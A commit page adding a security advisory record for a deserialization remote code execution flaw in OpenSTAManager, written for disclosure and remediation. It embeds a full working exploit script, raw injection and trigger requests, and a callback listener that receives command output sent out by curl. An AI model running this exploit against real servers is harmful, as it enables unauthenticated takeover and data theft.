Skip to content

Commit aecb78b

Browse files
1 parent 56e04ff commit aecb78b

1 file changed

Lines changed: 68 additions & 0 deletions

File tree

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-whv5-4q2f-q68g",
4+
"modified": "2026-04-01T19:46:50Z",
5+
"published": "2026-04-01T19:46:50Z",
6+
"aliases": [
7+
"CVE-2026-29782"
8+
],
9+
"summary": "OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2",
10+
"details": "## Description\n\nThe `oauth2.php` file in OpenSTAManager is an **unauthenticated** endpoint (`$skip_permissions = true`). It loads a record from the `zz_oauth2` table using the attacker-controlled GET parameter `state`, and during the OAuth2 configuration flow calls `unserialize()` on the `access_token` field **without any class restriction**.\n\nAn attacker who can write to the `zz_oauth2` table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in [GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the `www-data` user.\n\n## Affected code\n\n### Entry point — `oauth2.php`\n\n```php\n$skip_permissions = true; // Line 23: NO AUTHENTICATION\ninclude_once __DIR__.'/core.php';\n\n$state = $_GET['state']; // Line 28: attacker-controlled\n$code = $_GET['code'];\n\n$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record\n$response = $account->configure($code, $state); // Line 51: triggers the chain\n```\n\n### Deserialization — `src/Models/OAuth2.php`\n\n```php\n// Line 193 (checkTokens):\n$access_token = $this->access_token ? unserialize($this->access_token) : null;\n\n// Line 151 (getAccessToken):\nreturn $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;\n```\n\n`unserialize()` is called without the `allowed_classes` parameter, allowing instantiation of any class loaded by the Composer autoloader.\n\n## Execution flow\n\n```\noauth2.php (no auth)\n → configure()\n → needsConfiguration()\n → getAccessToken()\n → checkTokens()\n → unserialize($this->access_token) ← attacker payload\n → Creates PendingBroadcast object (Laravel/RCE22 gadget chain)\n → $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error\n → During error cleanup:\n → PendingBroadcast.__destruct() ← fires during shutdown\n → system($command) ← RCE\n```\n\nThe HTTP response is 500 (due to the `hasExpired()` error), but the command has already executed via `__destruct()` during error cleanup.\n\n## Full attack chain\n\nThis vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module ([GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) to achieve unauthenticated RCE:\n\n1. **Payload injection** (requires admin account): Via `op=risolvi-conflitti-database`, arbitrary SQL is executed to insert a malicious serialized object into `zz_oauth2.access_token`\n2. **RCE trigger** (unauthenticated): A GET request to `oauth2.php?state=<known_value>&code=x` triggers the deserialization and executes the command\n\n**Persistence note**: The `risolvi-conflitti-database` handler ends with `exit;` (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (`CREATE TABLE`/`DROP TABLE`) are included to force an implicit MySQL commit.\n\n## Gadget chain\n\nThe chain used is **Laravel/RCE22** (available in [phpggc](https://github.com/ambionics/phpggc)), which exploits classes from the Laravel framework present in the project's dependencies:\n\n```\nPendingBroadcast.__destruct()\n → $this->events->dispatch($this->event)\n → chain of __call() / __invoke()\n → system($command)\n```\n\n## Proof of Concept\n\n### Execution\n\n**Terminal 1** — Attacker listener:\n```bash\npython3 listener.py --port 9999\n```\n\n**Terminal 2** — Exploit:\n```bash\npython3 exploit.py \\\n --target http://localhost:8888 \\\n --callback http://host.docker.internal:9999 \\\n --user admin --password <password>\n```\n<img width=\"638\" height=\"722\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f\" />\n\n### Observed result\n\n**Listener receives:**\n<img width=\"683\" height=\"286\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1\" />\nThe `id` command was executed on the server as `www-data`, confirming RCE.\n\n### HTTP requests from the exploit\n\n**Step 4 — Injection (authenticated):**\n```\nPOST /actions.php HTTP/1.1\nCookie: PHPSESSID=<session>\nContent-Type: application/x-www-form-urlencoded\n\nop=risolvi-conflitti-database&id_module=6&queries=[\"DELETE FROM zz_oauth2 WHERE state='poc-xxx'\",\"INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\\\\\Emails\\\\\\\\OAuth2\\\\\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)\",\"CREATE TABLE IF NOT EXISTS _t(i INT)\",\"DROP TABLE IF EXISTS _t\"]\n```\n\n**Step 5 — Trigger (NO authentication):**\n```\nGET /oauth2.php?state=poc-xxx&code=x HTTP/1.1\n\n(No cookies — completely anonymous request)\n```\n\n**Response:** HTTP 500 (expected — the error occurs after `__destruct()` has already executed the command)\n\n### Exploit — `exploit.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization)\n\nUsage:\n python3 listener.py --port 9999\n python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234\n\"\"\"\n\nimport argparse\nimport json\nimport random\nimport re\nimport string\nimport subprocess\nimport sys\nimport time\n\ntry:\n import requests\nexcept ImportError:\n print(\"[!] pip install requests\")\n sys.exit(1)\n\nRED = \"\\033[91m\"\nGREEN = \"\\033[92m\"\nYELLOW = \"\\033[93m\"\nBLUE = \"\\033[94m\"\nBOLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\nRESET = \"\\033[0m\"\n\nBANNER = f\"\"\"\n {RED}{'=' * 58}{RESET}\n {RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET}\n {RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET}\n {RED}{'=' * 58}{RESET}\n\"\"\"\n\n\ndef log(msg, status=\"*\"):\n icons = {\"*\": f\"{BLUE}*{RESET}\", \"+\": f\"{GREEN}+{RESET}\", \"-\": f\"{RED}-{RESET}\", \"!\": f\"{YELLOW}!{RESET}\"}\n print(f\" [{icons.get(status, '*')}] {msg}\")\n\n\ndef step_header(num, title):\n print(f\"\\n {BOLD}── Step {num}: {title} ──{RESET}\\n\")\n\n\ndef generate_payload(container, command):\n step_header(1, \"Generate Gadget Chain Payload\")\n\n log(\"Checking phpggc in container...\")\n result = subprocess.run([\"docker\", \"exec\", container, \"test\", \"-f\", \"/tmp/phpggc/phpggc\"], capture_output=True)\n if result.returncode != 0:\n log(\"Installing phpggc...\", \"!\")\n proc = subprocess.run(\n [\"docker\", \"exec\", container, \"git\", \"clone\", \"https://github.com/ambionics/phpggc\", \"/tmp/phpggc\"],\n capture_output=True, text=True,\n )\n if proc.returncode != 0:\n log(f\"Failed to install phpggc: {proc.stderr}\", \"-\")\n sys.exit(1)\n\n log(f\"Command: {DIM}{command}{RESET}\")\n\n result = subprocess.run(\n [\"docker\", \"exec\", container, \"php\", \"/tmp/phpggc/phpggc\", \"Laravel/RCE22\", \"system\", command],\n capture_output=True,\n )\n if result.returncode != 0:\n log(f\"phpggc failed: {result.stderr.decode()}\", \"-\")\n sys.exit(1)\n\n payload_bytes = result.stdout\n log(f\"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}\", \"+\")\n return payload_bytes\n\n\ndef authenticate(target, username, password):\n step_header(2, \"Authenticate\")\n session = requests.Session()\n log(f\"Logging in as '{username}'...\")\n\n resp = session.post(\n f\"{target}/index.php\",\n data={\"op\": \"login\", \"username\": username, \"password\": password},\n allow_redirects=False, timeout=10,\n )\n\n location = resp.headers.get(\"Location\", \"\")\n if resp.status_code != 302 or \"index.php\" in location:\n log(\"Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).\", \"-\")\n sys.exit(1)\n\n session.get(f\"{target}{location}\", timeout=10)\n log(\"Authenticated\", \"+\")\n return session\n\n\ndef find_module_id(session, target, container):\n step_header(3, \"Find 'Aggiornamenti' Module ID\")\n log(\"Searching navigation sidebar...\")\n resp = session.get(f\"{target}/controller.php\", timeout=10)\n\n for match in re.finditer(r'id_module=(\\d+)', resp.text):\n snippet = resp.text[match.start():match.start() + 300]\n if re.search(r'[Aa]ggiornamenti', snippet):\n module_id = int(match.group(1))\n log(f\"Module ID: {BOLD}{module_id}{RESET}\", \"+\")\n return module_id\n\n log(\"Not found in sidebar, querying database...\", \"!\")\n result = subprocess.run(\n [\"docker\", \"exec\", container, \"php\", \"-r\",\n \"require '/var/www/html/config.inc.php'; \"\n \"$pdo = new PDO('mysql:host='.$db_host.';dbname='.$db_name, $db_username, $db_password); \"\n \"echo $pdo->query(\\\"SELECT id FROM zz_modules WHERE name='Aggiornamenti'\\\")->fetchColumn();\"],\n capture_output=True, text=True,\n )\n if result.stdout.strip().isdigit():\n module_id = int(result.stdout.strip())\n log(f\"Module ID: {BOLD}{module_id}{RESET}\", \"+\")\n return module_id\n\n log(\"Could not find module ID\", \"-\")\n sys.exit(1)\n\n\ndef inject_payload(session, target, module_id, payload_bytes, state_value):\n step_header(4, \"Inject Payload via Arbitrary SQL\")\n\n hex_payload = payload_bytes.hex()\n record_id = random.randint(90000, 99999)\n\n queries = [\n f\"DELETE FROM zz_oauth2 WHERE id={record_id} OR state='{state_value}'\",\n f\"INSERT INTO zz_oauth2 \"\n f\"(id, name, class, client_id, client_secret, config, \"\n f\"state, access_token, after_configuration, is_login, enabled) VALUES \"\n f\"({record_id}, 'poc', 'Modules\\\\\\\\Emails\\\\\\\\OAuth2\\\\\\\\Google', \"\n f\"'x', 'x', '{{}}', '{state_value}', 0x{hex_payload}, '', 0, 1)\",\n \"CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)\",\n \"DROP TABLE IF EXISTS _poc_ddl_commit\",\n ]\n\n log(f\"State trigger: {BOLD}{state_value}{RESET}\")\n log(f\"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)\")\n log(\"Sending to actions.php...\")\n\n resp = session.post(\n f\"{target}/actions.php\",\n data={\"op\": \"risolvi-conflitti-database\", \"id_module\": str(module_id), \"id_record\": \"\", \"queries\": json.dumps(queries)},\n timeout=15,\n )\n\n try:\n result = json.loads(resp.text)\n if result.get(\"success\"):\n log(\"Payload planted in zz_oauth2.access_token\", \"+\")\n return True\n else:\n log(f\"Injection failed: {result.get('message', '?')}\", \"-\")\n return False\n except json.JSONDecodeError:\n log(f\"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}\", \"-\")\n return False\n\n\ndef trigger_rce(target, state_value):\n step_header(5, \"Trigger RCE (NO AUTHENTICATION)\")\n\n url = f\"{target}/oauth2.php\"\n log(f\"GET {url}?state={state_value}&code=x\")\n log(f\"{DIM}(This request is UNAUTHENTICATED){RESET}\")\n\n try:\n resp = requests.get(url, params={\"state\": state_value, \"code\": \"x\"}, allow_redirects=False, timeout=15)\n log(f\"HTTP {resp.status_code}\", \"+\")\n if resp.status_code == 500:\n log(f\"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}\")\n except requests.exceptions.Timeout:\n log(\"Timed out (command may still have executed)\", \"!\")\n except requests.exceptions.ConnectionError as e:\n log(f\"Connection error: {e}\", \"-\")\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"OpenSTAManager v2.10.1 — RCE PoC\")\n parser.add_argument(\"--target\", required=True, help=\"Target URL\")\n parser.add_argument(\"--callback\", required=True, help=\"Attacker listener URL reachable from the container\")\n parser.add_argument(\"--user\", default=\"admin\", help=\"Username (default: admin)\")\n parser.add_argument(\"--password\", required=True, help=\"Password\")\n parser.add_argument(\"--container\", default=\"osm-web\", help=\"Docker web container (default: osm-web)\")\n parser.add_argument(\"--command\", help=\"Custom command (default: curl callback with id output)\")\n args = parser.parse_args()\n\n print(BANNER)\n\n target = args.target.rstrip(\"/\")\n callback = args.callback.rstrip(\"/\")\n state_value = \"poc-\" + \"\".join(random.choices(string.ascii_lowercase + string.digits, k=12))\n command = args.command or f\"curl -s {callback}/rce-$(id|base64 -w0)\"\n\n payload = generate_payload(args.container, command)\n session = authenticate(target, args.user, args.password)\n module_id = find_module_id(session, target, args.container)\n\n if not inject_payload(session, target, module_id, payload, state_value):\n log(\"Exploit failed at injection step\", \"-\")\n sys.exit(1)\n\n time.sleep(1)\n trigger_rce(target, state_value)\n\n print(f\"\\n {BOLD}── Result ──{RESET}\\n\")\n log(\"Exploit complete. Check your listener for the callback.\", \"+\")\n log(\"Expected: GET /rce-<base64(id)>\")\n log(f\"If no callback, verify the container can reach: {callback}\", \"!\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Listener — `listener.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"OpenSTAManager v2.10.1 — RCE Callback Listener\"\"\"\n\nimport argparse\nimport base64\nimport sys\nfrom datetime import datetime\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nRED = \"\\033[91m\"\nGREEN = \"\\033[92m\"\nYELLOW = \"\\033[93m\"\nBLUE = \"\\033[94m\"\nBOLD = \"\\033[1m\"\nRESET = \"\\033[0m\"\n\n\nclass CallbackHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n ts = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n print(f\"\\n {RED}{'=' * 58}{RESET}\")\n print(f\" {RED}{BOLD} RCE CALLBACK RECEIVED{RESET}\")\n print(f\" {RED}{'=' * 58}{RESET}\")\n print(f\" {GREEN}[+]{RESET} Time : {ts}\")\n print(f\" {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}\")\n print(f\" {GREEN}[+]{RESET} Path : {self.path}\")\n\n for part in self.path.lstrip(\"/\").split(\"/\"):\n if part.startswith(\"rce-\"):\n try:\n decoded = base64.b64decode(part[4:]).decode(\"utf-8\", errors=\"replace\")\n print(f\" {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}\")\n except Exception:\n print(f\" {YELLOW}[!]{RESET} Raw : {part[4:]}\")\n\n print(f\" {RED}{'=' * 58}{RESET}\\n\")\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(b\"OK\")\n\n def do_POST(self):\n self.do_GET()\n\n def log_message(self, format, *args):\n pass\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"RCE callback listener\")\n parser.add_argument(\"--port\", type=int, default=9999, help=\"Listen port (default: 9999)\")\n args = parser.parse_args()\n\n server = HTTPServer((\"0.0.0.0\", args.port), CallbackHandler)\n print(f\"\\n {BLUE}{'=' * 58}{RESET}\")\n print(f\" {BLUE}{BOLD} OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}\")\n print(f\" {BLUE}{'=' * 58}{RESET}\")\n print(f\" {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}\")\n print(f\" {YELLOW}[!]{RESET} Waiting for callback...\\n\")\n\n try:\n server.serve_forever()\n except KeyboardInterrupt:\n print(f\"\\n {YELLOW}[!]{RESET} Stopped.\")\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n## Impact\n\n- **Confidentiality**: Read server files, database credentials, API keys\n- **Integrity**: Write files, install backdoors, modify application code\n- **Availability**: Delete files, denial of service\n- **Scope**: Command execution as `www-data` allows pivoting to other systems on the network\n\n## Proposed remediation\n\n### Option A: Restrict `unserialize()` (recommended)\n\n```php\n// src/Models/OAuth2.php — checkTokens() and getAccessToken()\n$access_token = $this->access_token\n ? unserialize($this->access_token, ['allowed_classes' => [AccessToken::class]])\n : null;\n```\n\n### Option B: Use safe serialization\n\nReplace `serialize()`/`unserialize()` with `json_encode()`/`json_decode()` for storing OAuth2 tokens.\n\n### Option C: Authenticate `oauth2.php`\n\nRemove `$skip_permissions = true` and require authentication for the OAuth2 callback endpoint, or validate the `state` parameter against a value stored in the user's session.\n\n## Credits\nOmar Ramirez",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "devcode-it/openstamanager"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.10.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.10.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-whv5-4q2f-q68g"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/devcode-it/openstamanager/commit/d2e38cbdf91a831cefc0da1548e02b297ae644cc"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/devcode-it/openstamanager"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-502"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-01T19:46:50Z",
66+
"nvd_published_at": null
67+
}
68+
}

0 commit comments

Comments
 (0)